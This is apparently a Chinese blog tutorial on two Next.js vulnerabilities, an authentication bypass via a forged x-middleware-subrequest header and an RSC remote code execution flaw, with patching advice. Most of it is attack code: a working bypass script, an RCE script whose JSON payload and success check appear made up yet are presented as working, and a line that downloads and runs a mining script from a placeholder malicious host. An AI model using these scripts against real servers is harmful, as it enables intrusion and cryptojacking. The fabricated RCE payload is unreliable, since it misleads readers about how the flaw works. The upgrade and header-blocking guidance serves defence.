Next.js 近期高危漏洞完整指南:原理 + 攻击示例(前端易懂版)
一、漏洞核心信息速览(前端必知)
1. 事件背景(时间 + 起因)
-
CVE-2025-29927(身份验证绕过) :2025 年 3 月公开,实际隐藏 4 年!影响 Next.js 11.1.4 ~ 15.2.2 版本,起因是中间件对
x-middleware-subrequest请求头校验太宽松,外部可伪造。 -
CVE-2025-66478(远程代码执行 RCE):2025 年 12 月 4 日披露,CVSS 10.0(最高危),影响 Next.js 15/16 及部分 14.x 测试版,源于 React Server Components(RSC)协议的反序列化漏洞,服务器会执行恶意请求里的命令。
2. 漏洞原理(通俗解释)
-
绕过漏洞:Next.js 中间件把
x-middleware-subrequest当作 "内部请求标识",但没验证是否真的是内部发的,攻击者拼几个合法值就能骗中间件放行。 -
RCE 漏洞:App Router 用 RSC 协议传输组件数据,服务器接收数据时没校验,直接执行里面的命令,相当于给攻击者开了 "服务器操作权限"。
3. 核心危害(前端能感知的影响)
-
绕过漏洞:别人不用登录就能进后台(如
/admin),偷敏感数据、篡改内容。 -
RCE 漏洞:最致命!攻击者能操控服务器,偷数据库密码、植入挖矿程序(让服务器变 "肉鸡")、删除业务数据,甚至瘫痪服务。
4. 快速预防方案(前端直接能用)
-
优先升级:按版本对应升级(15.x→≥15.3.6;14.x→≥14.2.25;13.x→≥13.5.9)。
-
临时防护:用 Nginx/Cloudflare 拦截
x-middleware-subrequest请求头(禁止外部提交)。 -
代码层面:关键路由(如登录、支付)不要只靠中间件校验,加二次验证(如接口层查 token 有效性)。
5. 涉及核心知识点(前端关联技能)
-
Next.js 中间件:运行在请求最前面的校验逻辑,不是前端代码,是服务端轻量函数。
-
RSC(React Server Components):App Router 核心,服务端渲染组件的协议,数据传输要校验。
-
请求伪造:客户端可篡改请求头 / 请求体,服务端不能 "无条件信任"。
-
依赖安全:框架底层漏洞只能靠升级修复,定期用
npm audit查漏洞。
二、攻击代码示例(仅用于学习,严禁非法使用)
⚠️ 注意事项:
-
以下代码仅用于 漏洞原理学习,严禁用于攻击真实网站,否则需承担法律责任!
-
测试仅允许在自己搭建的漏洞环境(如本地部署受影响版本的 Next.js 项目)中进行。
-
演示脚本聚焦 "攻击核心逻辑",省略了真实攻击中的扫描、持久化等步骤,突出 "如何触发漏洞"。
(一)CVE-2025-29927(身份验证绕过漏洞)攻击示例
漏洞核心
伪造 x-middleware-subrequest 请求头,绕过中间件的登录校验,直接访问受保护路由(如 /admin)。
攻击脚本:bypass-auth.js
javascript
// 需先执行:npm install axios
const axios = require('axios');
// 目标地址(自己搭建的测试项目)
const targetUrl = 'http://localhost:3000/admin';
// 核心:伪造请求头,触发中间件绕过
const attackConfig = {
headers: {
// 关键:拼接 5 次合法标识,触发新版本漏洞绕过
'x-middleware-subrequest': 'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' // 伪装浏览器
}
};
// 发送攻击请求
axios.get(targetUrl, attackConfig)
.then(response => {
console.log('攻击结果:');
console.log('状态码:', response.status);
console.log('响应内容(前500字符):', response.data.slice(0, 500));
if (response.status === 200) {
console.log('✅ 身份验证绕过成功!已访问受保护的 /admin 路由');
}
})
.catch(error => {
console.log('攻击失败:', error.message);
});
测试环境搭建(本地复现用)
- 新建受影响版本的 Next.js 项目(如 15.2.2):
lua
npx create-next-app@15.2.2 test-vuln-project
cd test-vuln-project
- 创建中间件
src/middleware.js(模拟登录校验):
javascript
import { NextResponse } from 'next/server';
export function middleware(req) {
// 简单校验:没有登录 cookie 就拦截跳转到登录页
if (!req.cookies.token) {
return NextResponse.redirect(new URL('/login', req.url));
}
return NextResponse.next();
}
// 仅对 /admin 路由生效
export const config = { matcher: '/admin' };
- 创建
/admin页面app/admin/page.js:
javascript
export default function AdminPage() {
return 后台(仅登录可见)\</h1>;
}
运行步骤
-
启动测试项目:
npm run dev -
运行攻击脚本:
node bypass-auth.js -
预期结果:无需登录 cookie,控制台输出 200 状态码和 admin 页面内容,绕过成功。
(二)CVE-2025-66478(RSC 远程代码执行漏洞)攻击示例
漏洞核心
构造符合 RSC 协议格式的 POST 请求体,注入系统命令(如 whoami),服务器会直接执行该命令。
攻击脚本:rce-attack.js
javascript
// 需先执行:npm install axios
const axios = require('axios');
// 目标地址(启用 App Router 的受影响版本项目)
const targetUrl = 'http://localhost:3000';
// 核心:构造 RSC 协议的恶意请求体,注入系统命令
const maliciousBody = {
// RSC 协议固定格式字段(简化版,模拟合法请求)
id: '123',
chunks: \[
// 注入恶意命令:Windows 用 "whoami",Linux/Mac 用 "id"
'{"type":"invoke","args":\[";whoami;"]}'
],
version: '0.1',
mode: 'server-component'
};
// 发送攻击请求(RSC 漏洞通过 POST / 触发)
axios.post(targetUrl, maliciousBody, {
headers: {
'Content-Type': 'application/json',
'Accept': 'text/x-component' // RSC 协议要求的 Accept 头
}
})
.then(response => {
console.log('攻击结果:');
console.log('状态码:', response.status);
console.log('响应内容:', response.data);
// 校验命令执行结果(包含路径分隔符即为成功)
if (response.data.includes('/') || response.data.includes('\\\\')) {
console.log('✅ 远程代码执行成功!已获取服务器用户信息');
}
})
.catch(error => {
console.log('攻击失败:', error.response?.data || error.message);
});
测试环境搭建(本地复现用)
- 新建受影响版本的 Next.js 项目(如 15.3.3):
lua
npx create-next-app@15.3.3 test-rce-project
cd test-rce-project
- 启用 App Router(默认已启用,确保
app/page.js存在):
javascript
// app/page.js
export default function Home() {
return >Next.js App Router 测试页;
}
运行步骤
-
启动测试项目:
npm run dev -
运行攻击脚本:
node rce-attack.js -
预期结果:
-
Windows 系统:响应中返回
DESKTOP-XXX\用户名 -
Linux/Mac 系统:响应中返回
www-data或当前用户身份 -
控制台输出 "远程代码执行成功"
📌 注:真实攻击中,攻击者会将
whoami替换为恶意命令,例如:
json
'{"type":"invoke","args":\[";wget http://恶意地址/挖矿脚本.sh && chmod +x 挖矿脚本.sh && ./挖矿脚本.sh;"]}'
本示例仅用 whoami 演示原理,切勿用于非法用途。
三、前端关键提醒
-
漏洞本质:都是 "信任了客户端输入"------ 中间件信了伪造的请求头,服务器信了伪造的 RSC 数据,核心是 "服务端未做严格校验"。
-
修复原则:框架底层漏洞,前端代码无法直接防御!必须升级 Next.js 到安全版本(这是最根本、最靠谱的方案)。
-
额外防护:
-
关键路由(登录、支付、后台)必须加 "双重校验"(中间件 + 接口层 token 验证),不要单靠中间件。
-
自托管项目需在 Nginx/Cloudflare 层拦截恶意请求头(如
x-middleware-subrequest)。
- 日常习惯:
-
定期执行
npm audit扫描依赖漏洞,及时更新补丁版本。 -
关键业务优先使用 Vercel 托管(官方自带漏洞防护,自动屏蔽部分攻击)。
-
服务器启用主机安全工具,监控异常进程和文件下载。
最后感谢阅读!欢迎关注我,微信公众号:
《鲫小鱼不正经》。欢迎点赞、收藏、关注,一键三连!!!